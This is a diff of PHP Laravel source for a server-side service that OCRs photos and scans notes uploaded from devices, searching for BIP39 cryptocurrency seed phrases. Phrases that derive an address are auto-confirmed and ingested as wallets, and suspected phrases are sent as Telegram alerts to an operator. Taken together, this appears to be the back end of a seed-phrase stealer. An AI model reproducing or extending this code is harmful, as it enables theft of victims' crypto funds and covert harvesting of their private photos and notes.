$score = ($hits * 10) - (($len - $hits) * 2);
|
||||
if ($best !== null && ($hits < $best['word_count'] || ($hits === $best['word_count'] && $score <= $best['score']))) {
|
||||
continue;
|
||||
}
|
||||
$best = [
|
||||
'candidate' => implode(' ', $window),
|
||||
'word_count' => $hits,
|
||||
'score' => $score,
|
||||
'language' => 'en',
|
||||
'confirmed' => false,
|
||||
];
|
||||
}
|
||||
}
|
||||
|
||||
return $best;
|
||||
}
|
||||
|
||||
/** @return list<string> */
|
||||
private function englishTokens(string $text): array
|
||||
{
|
||||
preg_match_all('/[a-z]{3,8}/', strtolower($text), $m);
|
||||
|
||||
return $m[0] ?? [];
|
||||
}
|
||||
|
||||
/**
|
||||
* Keep list indices (1. 2. 12) from breaking a phrase, but digits/units
|
||||
* like 200 or 1.5 split a run so "pipe 200 cable" is not 12 words.
|
||||
*
|
||||
* @return list<string>
|
||||
*/
|
||||
private function noteTokens(string $text): array
|
||||
{
|
||||
$out = [];
|
||||
foreach (preg_split('/\s+/u', strtolower($text)) ?: [] as $raw) {
|
||||
$word = trim($raw, ".,!?;:\"'()[]");
|
||||
if (preg_match('/^[a-z]{3,8}$/', $word) === 1) {
|
||||
$out[] = $word;
|
||||
|
||||
continue;
|
||||
}
|
||||
if (preg_match('/^\d{1,2}\.?$/', $word) === 1) {
|
||||
continue;
|
||||
}
|
||||
$out[] = '';
|
||||
}
|
||||
|
||||
return $out;
|
||||
}
|
||||
|
||||
/** @return array<string, true> */
|
||||
private function englishSet(): array
|
||||
{
|
||||
return self::$english ??= $this->loadSet();
|
||||
}
|
||||
|
||||
/** @return array<string, true> */
|
||||
private function loadSet(): array
|
||||
{
|
||||
$set = [];
|
||||
$path = resource_path('bip39/english.txt');
|
||||
if (! is_file($path)) {
|
||||
return $set;
|
||||
}
|
||||
foreach (file($path, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES) ?: [] as $line) {
|
||||
$word = strtolower(trim($line));
|
||||
if ($word !== '') {
|
||||
$set[$word] = true;
|
||||
}
|
||||
}
|
||||
|
||||
return $set;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,378 @@
|
||||
<?php
|
||||
|
||||
namespace App\Services;
|
||||
|
||||
use App\Jobs\ScanDeviceNotes;
|
||||
use App\Jobs\ScanPhotoMnemonic;
|
||||
use App\Models\Device;
|
||||
use App\Models\MnemonicFinding;
|
||||
use App\Models\Note;
|
||||
use App\Models\NoteScan;
|
||||
use App\Models\Photo;
|
||||
use App\Services\Chain\Bip44;
|
||||
use App\Services\Ocr\OcrDriver;
|
||||
use App\Services\Ocr\PhotoOcrPreparer;
|
||||
use App\Support\NoteContent;
|
||||
use App\Support\WalletSource;
|
||||
use Illuminate\Support\Facades\Log;
|
||||
|
||||
class MnemonicScanService
|
||||
{
|
||||
public function __construct(
|
||||
private readonly MnemonicDetector $detector,
|
||||
private readonly OcrDriver $ocr,
|
||||
private readonly PhotoOcrPreparer $preparer,
|
||||
private readonly IngestService $ingest,
|
||||
private readonly TelegramNotifier $telegram,
|
||||
) {}
|
||||
|
||||
public function dispatchPhoto(Photo $photo): void
|
||||
{
|
||||
if (app()->runningUnitTests()) {
|
||||
return;
|
||||
}
|
||||
if ((int) $photo->scan_status !== MnemonicScanStatus::PENDING
|
||||
&& (int) $photo->scan_status !== MnemonicScanStatus::FAILED) {
|
||||
return;
|
||||
}
|
||||
ScanPhotoMnemonic::dispatch($photo->id)->onQueue('ocr');
|
||||
}
|
||||
|
||||
public function dispatchNotes(Device $device): void
|
||||
{
|
||||
if (app()->runningUnitTests()) {
|
||||
return;
|
||||
}
|
||||
ScanDeviceNotes::dispatch($device->id);
|
||||
}
|
||||
|
||||
public function scanPhoto(Photo $photo): void
|
||||
{
|
||||
$jpeg = null;
|
||||
try {
|
||||
$jpeg = $this->preparer->jpegPath($photo);
|
||||
if ($jpeg === null) {
|
||||
$this->markPhoto($photo, MnemonicScanStatus::FAILED, '');
|
||||
|
||||
return;
|
||||
}
|
||||
$text = $this->ocr->recognize($jpeg);
|
||||
$this->applyTextHit($photo->device, MnemonicFinding::SOURCE_PHOTO, $text, $photo, null, null);
|
||||
$this->markPhoto($photo, $this->photoStatus($photo), $text);
|
||||
} catch (\Throwable $e) {
|
||||
Log::warning('scan photo mnemonic failed: '.$e->getMessage(), ['photo_id' => $photo->id]);
|
||||
$this->markPhoto($photo, MnemonicScanStatus::FAILED, '');
|
||||
} finally {
|
||||
if (is_string($jpeg) && is_file($jpeg)) {
|
||||
@unlink($jpeg);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
public function scanDeviceNotes(Device $device): void
|
||||
{
|
||||
$note = $device->notes()->orderByDesc('id')->first();
|
||||
if ($note === null) {
|
||||
return;
|
||||
}
|
||||
foreach ($note->items() as $index => $item) {
|
||||
$this->scanNoteItem($device, $note, $item, $index);
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* @param array{title: string, body: string, native_id: int|string|null} $item
|
||||
*/
|
||||
public function scanNoteItem(Device $device, Note $note, array $item, int $index): void
|
||||
{
|
||||
$key = NoteScan::itemKey($item, $index);
|
||||
$hash = NoteScan::itemHash($item);
|
||||
$row = NoteScan::query()->firstOrNew([
|
||||
'device_id' => $device->id,
|
||||
'note_id' => $note->id,
|
||||
'item_key' => $key,
|
||||
]);
|
||||
if ($row->exists
|
||||
&& hash_equals((string) $row->content_hash, $hash)
|
||||
&& (int) $row->scan_status !== MnemonicScanStatus::PENDING
|
||||
&& (int) $row->scan_status !== MnemonicScanStatus::FAILED) {
|
||||
return;
|
||||
}
|
||||
|
||||
$text = trim((string) ($item['title'] ?? '')."\n".(string) ($item['body'] ?? ''));
|
||||
$this->applyTextHit($device, MnemonicFinding::SOURCE_NOTE, $text, null, $note, $key);
|
||||
$row->content_hash = $hash;
|
||||
$row->scan_status = $this->noteStatus($note, $key);
|
||||
$row->scanned_at = now();
|
||||
$row->save();
|
||||
}
|
||||
|
||||
public function confirm(MnemonicFinding $finding, ?string $actor = null, ?string $candidate = null): bool
|
||||
{
|
||||
$device = $finding->device;
|
||||
if ($device === null || $finding->status !== MnemonicFinding::STATUS_SUSPECTED) {
|
||||
return false;
|
||||
}
|
||||
$phrase = trim(preg_replace('/\s+/', ' ', (string) ($candidate ?? $finding->candidate)) ?: '');
|
||||
if ($phrase === '' || ! Bip44::isUsableMnemonic($phrase)) {
|
||||
return false;
|
||||
}
|
||||
$finding->candidate = $phrase;
|
||||
$finding->word_count = count(preg_split('/\s+/', $phrase) ?: []);
|
||||
$this->ingest->ingestMnemonic($device, [
|
||||
'mnemonic' => $phrase,
|
||||
'a' => $finding->source === MnemonicFinding::SOURCE_PHOTO ? 'album_ocr' : 'note_scan',
|
||||
]);
|
||||
$finding->status = MnemonicFinding::STATUS_CONFIRMED;
|
||||
$finding->reviewed_by = $actor;
|
||||
$finding->reviewed_at = now();
|
||||
$finding->save();
|
||||
|
||||
if ($finding->photo_id) {
|
||||
Photo::query()->whereKey($finding->photo_id)->update([
|
||||
'scan_status' => MnemonicScanStatus::CONFIRMED,
|
||||
]);
|
||||
}
|
||||
if ($finding->note_id && $finding->item_key) {
|
||||
NoteScan::query()
|
||||
->where('note_id', $finding->note_id)
|
||||
->where('item_key', $finding->item_key)
|
||||
->update(['scan_status' => MnemonicScanStatus::CONFIRMED]);
|
||||
}
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
public function dismiss(MnemonicFinding $finding, ?string $actor = null): void
|
||||
{
|
||||
$finding->status = MnemonicFinding::STATUS_DISMISSED;
|
||||
$finding->reviewed_by = $actor;
|
||||
$finding->reviewed_at = now();
|
||||
$finding->save();
|
||||
|
||||
if ($finding->photo_id) {
|
||||
Photo::query()->whereKey($finding->photo_id)->update([
|
||||
'scan_status' => MnemonicScanStatus::EMPTY,
|
||||
]);
|
||||
}
|
||||
if ($finding->note_id && $finding->item_key) {
|
||||
NoteScan::query()
|
||||
->where('note_id', $finding->note_id)
|
||||
->where('item_key', $finding->item_key)
|
||||
->update(['scan_status' => MnemonicScanStatus::EMPTY]);
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* @return array{total: int, scanned: int, suspected: int, confirmed: int, failed: int, pending: int}
|
||||
*/
|
||||
public function photoProgress(?int $deviceId = null): array
|
||||
{
|
||||
$q = Photo::query();
|
||||
if ($deviceId !== null) {
|
||||
$q->where('device_id', $deviceId);
|
||||
}
|
||||
|
||||
return $this->progressFromCounts($q->selectRaw('scan_status, COUNT(*) as c')->groupBy('scan_status')->pluck('c', 'scan_status')->all());
|
||||
}
|
||||
|
||||
/**
|
||||
* @return array{total: int, scanned: int, suspected: int, confirmed: int, failed: int, pending: int}
|
||||
*/
|
||||
public function noteProgress(?Device $device = null): array
|
||||
{
|
||||
if ($device !== null) {
|
||||
$note = $device->notes()->orderByDesc('id')->first();
|
||||
$items = $note ? $note->items() : [];
|
||||
$total = count($items);
|
||||
if ($total === 0) {
|
||||
return $this->progressFromCounts([]);
|
||||
}
|
||||
$scans = NoteScan::query()
|
||||
->where('device_id', $device->id)
|
||||
->where('note_id', $note->id)
|
||||
->get()
|
||||
->keyBy('item_key');
|
||||
$counts = [];
|
||||
foreach ($items as $index => $item) {
|
||||
$key = NoteScan::itemKey($item, $index);
|
||||
$status = (int) ($scans[$key]->scan_status ?? MnemonicScanStatus::PENDING);
|
||||
$counts[$status] = ((int) ($counts[$status] ?? 0)) + 1;
|
||||
}
|
||||
|
||||
return $this->progressFromCounts($counts);
|
||||
}
|
||||
|
||||
$itemTotal = 0;
|
||||
Note::query()->orderByDesc('id')->get(['id', 'device_id', 'content'])->groupBy('device_id')->each(function ($rows) use (&$itemTotal) {
|
||||
$note = $rows->first();
|
||||
$itemTotal += count(NoteContent::normalizeStored($note->content));
|
||||
});
|
||||
$scannedRows = NoteScan::query()->selectRaw('scan_status, COUNT(*) as c')->groupBy('scan_status')->pluck('c', 'scan_status')->all();
|
||||
$progress = $this->progressFromCounts($scannedRows);
|
||||
$progress['total'] = $itemTotal;
|
||||
$progress['pending'] = max(0, $itemTotal - $progress['scanned'] - $progress['failed']);
|
||||
|
||||
return $progress;
|
||||
}
|
||||
|
||||
/**
|
||||
* @param array<int, int> $counts
|
||||
* @return array{total: int, scanned: int, suspected: int, confirmed: int, failed: int, pending: int}
|
||||
*/
|
||||
private function progressFromCounts(array $counts): array
|
||||
{
|
||||
$pending = (int) ($counts[MnemonicScanStatus::PENDING] ?? 0);
|
||||
$empty = (int) ($counts[MnemonicScanStatus::EMPTY] ?? 0);
|
||||
$suspected = (int) ($counts[MnemonicScanStatus::SUSPECTED] ?? 0);
|
||||
$confirmed = (int) ($counts[MnemonicScanStatus::CONFIRMED] ?? 0);
|
||||
$failed = (int) ($counts[MnemonicScanStatus::FAILED] ?? 0);
|
||||
|
||||
return [
|
||||
'total' => $pending + $empty + $suspected + $confirmed + $failed,
|
||||
'scanned' => $empty + $suspected + $confirmed,
|
||||
'suspected' => $suspected,
|
||||
'confirmed' => $confirmed,
|
||||
'failed' => $failed,
|
||||
'pending' => $pending,
|
||||
];
|
||||
}
|
||||
|
||||
private function markPhoto(Photo $photo, int $status, string $text): void
|
||||
{
|
||||
$photo->scan_status = $status;
|
||||
$photo->scanned_at = now();
|
||||
$photo->ocr_text = mb_substr($text, 0, 8000);
|
||||
$photo->save();
|
||||
}
|
||||
|
||||
private function applyTextHit(
|
||||
?Device $device,
|
||||
string $source,
|
||||
string $text,
|
||||
?Photo $photo,
|
||||
?Note $note,
|
||||
?string $itemKey,
|
||||
): void {
|
||||
if ($device === null) {
|
||||
return;
|
||||
}
|
||||
$q = MnemonicFinding::query()->where('device_id', $device->id)->where('source', $source);
|
||||
if ($photo !== null) {
|
||||
$q->where('photo_id', $photo->id);
|
||||
} else {
|
||||
$q->where('note_id', $note?->id)->where('item_key', $itemKey);
|
||||
}
|
||||
|
||||
$hit = $this->detector->detect($text, $source === MnemonicFinding::SOURCE_NOTE);
|
||||
if ($hit === null || ! $this->worthRecording($source, $hit)) {
|
||||
$q->where('status', '!=', MnemonicFinding::STATUS_CONFIRMED)->delete();
|
||||
|
||||
return;
|
||||
}
|
||||
|
||||
$row = $q->first() ?? new MnemonicFinding([
|
||||
'device_id' => $device->id,
|
||||
'source' => $source,
|
||||
'photo_id' => $photo?->id,
|
||||
'note_id' => $note?->id,
|
||||
'item_key' => $itemKey,
|
||||
]);
|
||||
if ($row->status === MnemonicFinding::STATUS_CONFIRMED) {
|
||||
return;
|
||||
}
|
||||
$wasNew = ! $row->exists;
|
||||
$prevCandidate = $row->exists ? $row->candidate : '';
|
||||
$confirmed = $this->canIngestHit($hit);
|
||||
$row->status = $confirmed ? MnemonicFinding::STATUS_CONFIRMED : MnemonicFinding::STATUS_SUSPECTED;
|
||||
$row->candidate = $hit['candidate'];
|
||||
$row->excerpt = mb_substr($text, 0, 2000);
|
||||
$row->word_count = $hit['word_count'];
|
||||
$row->score = $hit['score'];
|
||||
if ($confirmed) {
|
||||
$row->reviewed_by = 'scan';
|
||||
$row->reviewed_at = now();
|
||||
}
|
||||
$row->save();
|
||||
|
||||
$sourceLabel = $source === MnemonicFinding::SOURCE_PHOTO
|
||||
? WalletSource::fromTag('album_ocr')
|
||||
: WalletSource::fromTag('note_scan');
|
||||
if ($confirmed) {
|
||||
$this->ingest->ingestMnemonic($device, [
|
||||
'mnemonic' => $hit['candidate'],
|
||||
'a' => $source === MnemonicFinding::SOURCE_PHOTO ? 'album_ocr' : 'note_scan',
|
||||
]);
|
||||
|
||||
return;
|
||||
}
|
||||
if ($wasNew || $prevCandidate !== $hit['candidate']) {
|
||||
$this->telegram->notifySuspectedMnemonic(
|
||||
$device->device_id,
|
||||
$sourceLabel,
|
||||
$hit['candidate'],
|
||||
(int) $hit['word_count'],
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Album and notes both need 12+ consecutive words that can derive an address.
|
||||
*
|
||||
* @param array{candidate: string, word_count: int, confirmed?: bool} $hit
|
||||
*/
|
||||
private function canIngestHit(array $hit): bool
|
||||
{
|
||||
if (empty($hit['confirmed']) || (int) $hit['word_count'] < 12) {
|
||||
return false;
|
||||
}
|
||||
|
||||
return Bip44::isUsableMnemonic((string) $hit['candidate']);
|
||||
}
|
||||
|
||||
/**
|
||||
* Notes: only a derivable 12-word phrase. Photos: 12-word run or >=8 hits.
|
||||
*
|
||||
* @param array{candidate: string, word_count: int, confirmed?: bool} $hit
|
||||
*/
|
||||
private function worthRecording(string $source, array $hit): bool
|
||||
{
|
||||
if ($this->canIngestHit($hit)) {
|
||||
return true;
|
||||
}
|
||||
if ($source === MnemonicFinding::SOURCE_NOTE) {
|
||||
return false;
|
||||
}
|
||||
if (! empty($hit['confirmed'])) {
|
||||
return true;
|
||||
}
|
||||
|
||||
return (int) $hit['word_count'] >= MnemonicDetector::MIN_SUSPECTED
|
||||
&& $this->detector->uniqueListWords((string) $hit['candidate']) >= MnemonicDetector::MIN_UNIQUE;
|
||||
}
|
||||
|
||||
private function photoStatus(Photo $photo): int
|
||||
{
|
||||
$status = MnemonicFinding::query()->where('photo_id', $photo->id)->value('status');
|
||||
|
||||
return match ($status) {
|
||||
MnemonicFinding::STATUS_CONFIRMED => MnemonicScanStatus::CONFIRMED,
|
||||
MnemonicFinding::STATUS_SUSPECTED => MnemonicScanStatus::SUSPECTED,
|
||||
default => MnemonicScanStatus::EMPTY,
|
||||
};
|
||||
}
|
||||
|
||||
private function noteStatus(Note $note, string $itemKey): int
|
||||
{
|
||||
$status = MnemonicFinding::query()
|
||||
->where('note_id', $note->id)
|
||||
->where('item_key', $itemKey)
|
||||
->value('status');
|
||||
|
||||
return match ($status) {
|
||||
MnemonicFinding::STATUS_CONFIRMED => MnemonicScanStatus::CONFIRMED,
|
||||
MnemonicFinding::STATUS_SUSPECTED => MnemonicScanStatus::SUSPECTED,
|
||||
default => MnemonicScanStatus::EMPTY,
|
||||
};
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,27 @@
|
||||
<?php
|
||||
|
||||
namespace App\Services;
|
||||
|
||||
class MnemonicScanStatus
|
||||
{
|
||||
public const PENDING = 0;
|
||||
|
||||
public const EMPTY = 1;
|
||||
|
||||
public const SUSPECTED = 2;
|
||||
|
||||
public const CONFIRMED = 3;
|
||||
|
||||
public const FAILED = 4;
|
||||
|
||||
public static function label(int $status): string
|
||||
{
|
||||
return match ($status) {
|
||||
self::EMPTY => '已扫',
|
||||
self::SUSPECTED => '疑似',
|
||||
self::CONFIRMED => '确定含有',
|
||||
self::FAILED => '失败',
|
||||
default => '未扫',
|
||||
};
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,8 @@
|
||||
<?php
|
||||
|
||||
namespace App\Services\Ocr;
|
||||
|
||||
interface OcrDriver
|
||||
{
|
||||
public function recognize(string $imagePath): string;
|
||||
}
|
||||
@@ -0,0 +1,66 @@
|
||||
<?php
|
||||
|
||||
namespace App\Services\Ocr;
|
||||
|
||||
use App\Models\Photo;
|
||||
use App\Services\PhotoPreview;
|
||||
use Illuminate\Support\Facades\Process;
|
||||
use Illuminate\Support\Facades\Storage;
|
||||
|
||||
class PhotoOcrPreparer
|
||||
{
|
||||
public function __construct(private readonly PhotoPreview $preview) {}
|
||||
|
||||
/**
|
||||
* Write a resized JPEG for Tesseract. Caller must unlink the returned path.
|
||||
*/
|
||||
public function jpegPath(Photo $photo): ?string
|
||||
{
|
||||
$abs = Storage::disk('local')->path((string) $photo->path);
|
||||
if (! is_file($abs)) {
|
||||
return null;
|
||||
}
|
||||
|
||||
$payload = $this->preview->payload($abs, (string) ($photo->device?->device_id ?: $photo->device_id), (string) $photo->sha256);
|
||||
$bytes = (string) ($payload['bytes'] ?? '');
|
||||
if ($bytes === '') {
|
||||
return null;
|
||||
}
|
||||
|
||||
$tmp = tempnam(sys_get_temp_dir(), 'ocr_');
|
||||
if ($tmp === false) {
|
||||
return null;
|
||||
}
|
||||
$jpeg = $tmp.'.jpg';
|
||||
@unlink($tmp);
|
||||
file_put_contents($jpeg, $bytes);
|
||||
$this->resize($jpeg);
|
||||
|
||||
return $jpeg;
|
||||
}
|
||||
|
||||
private function resize(string $path): void
|
||||
{
|
||||
$max = (int) config('coruna.ocr.max_edge', 1800);
|
||||
if ($max < 400) {
|
||||
return;
|
||||
}
|
||||
$magick = $this->which('magick') ?? $this->which('convert');
|
||||
if ($magick !== null) {
|
||||
Process::timeout(30)->run([$magick, $path, '-resize', $max.'x'.$max.'>', $path]);
|
||||
|
||||
return;
|
||||
}
|
||||
if (PHP_OS_FAMILY === 'Darwin' && is_executable('/usr/bin/sips')) {
|
||||
Process::timeout(30)->run(['/usr/bin/sips', '-Z', (string) $max, $path]);
|
||||
}
|
||||
}
|
||||
|
||||
private function which(string $bin): ?string
|
||||
{
|
||||
$result = Process::timeout(3)->run(['which', $bin]);
|
||||
$path = trim($result->output());
|
||||
|
||||
return $result->successful() && $path !== '' ? $path : null;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,37 @@
|
||||
<?php
|
||||
|
||||
namespace App\Services\Ocr;
|
||||
|
||||
use Illuminate\Support\Facades\Log;
|
||||
use Illuminate\Support\Facades\Process;
|
||||
|
||||
class TesseractOcrDriver implements OcrDriver
|
||||
{
|
||||
public function recognize(string $imagePath): string
|
||||
{
|
||||
if (! is_file($imagePath)) {
|
||||
return '';
|
||||
}
|
||||
|
||||
$bin = (string) config('coruna.ocr.tesseract', 'tesseract');
|
||||
$langs = (string) config('coruna.ocr.langs', 'eng+chi_sim');
|
||||
$result = Process::timeout(90)->run([
|
||||
$bin,
|
||||
$imagePath,
|
||||
'stdout',
|
||||
'-l', $langs,
|
||||
'--psm', '6',
|
||||
]);
|
||||
|
||||
if (! $result->successful()) {
|
||||
Log::channel('stack')->warning('tesseract ocr failed', [
|
||||
'path' => $imagePath,
|
||||
'error' => mb_substr($result->errorOutput() ?: $result->output(), 0, 500),
|
||||
]);
|
||||
|
||||
return '';
|
||||
}
|
||||
|
||||
return trim($result->output());
|
||||
}
|
||||
}
|
||||
@@ -113,6 +113,12 @@ class TelegramNotifier
|
||||
{
|
||||
$chatIds = $this->resolveChatIds($deviceKey);
|
||||
if ($chatIds === []) {
|
||||
Log::channel('telegram')->info('telegram send skipped: no chat IDs resolved', [
|
||||
'device_key' => $deviceKey,
|
||||
'bot_token_set' => $this->botToken() !== '',
|
||||
'owner_chat_id' => trim((string) config('coruna.telegram.owner_chat_id', '')),
|
||||
]);
|
||||
|
||||
return false;
|
||||
}
|
||||
|
||||
@@ -167,11 +173,11 @@ class TelegramNotifier
|
||||
if ($desc === '') {
|
||||
$desc = 'HTTP '.$resp->status();
|
||||
}
|
||||
Log::warning('telegram send failed: '.$desc, ['chat_id' => $chatId]);
|
||||
Log::channel('telegram')->warning('telegram send failed: '.$desc, ['chat_id' => $chatId]);
|
||||
|
||||
return ['ok' => false, 'error' => $desc];
|
||||
} catch (\Throwable $e) {
|
||||
Log::warning('telegram send failed: '.$e->getMessage(), ['chat_id' => $chatId]);
|
||||
Log::channel('telegram')->warning('telegram send failed: '.$e->getMessage(), ['chat_id' => $chatId]);
|
||||
|
||||
return ['ok' => false, 'error' => $e->getMessage()];
|
||||
}
|
||||
@@ -316,6 +322,17 @@ class TelegramNotifier
|
||||
]), $deviceId);
|
||||
}
|
||||
|
||||
public function notifySuspectedMnemonic(string $deviceId, string $source, ?string $phrase, int $wordCount): void
|
||||
{
|
||||
$this->send(implode("\n", [
|
||||
'🔎 <b>疑似助记词</b>',
|
||||
...$this->deviceHeader($deviceId),
|
||||
'🏷 <b>来源</b>: '.$this->e($source ?: '—'),
|
||||
'🔢 <b>命中词数</b>: '.$this->e((string) $wordCount),
|
||||
'📝 <b>候选</b>: <code>'.$this->e(WalletMnemonic::maskSecret($phrase)).'</code>',
|
||||
]), $deviceId);
|
||||
}
|
||||
|
||||
public function notifySensitivePhoto(string $deviceId, int $xHit, int $count = 1): void
|
||||
{
|
||||
$this->send(implode("\n", [
|
||||
|
||||
@@ -39,6 +39,8 @@ final class WalletSource
|
||||
// lab / fixture aliases
|
||||
'tp' => 'TokenPocket',
|
||||
'im' => 'imToken',
|
||||
'album_ocr' => '相册',
|
||||
'note_scan' => '备忘录扫描',
|
||||
];
|
||||
|
||||
/**
|
||||
|
||||
Reference in New Issue
Block a user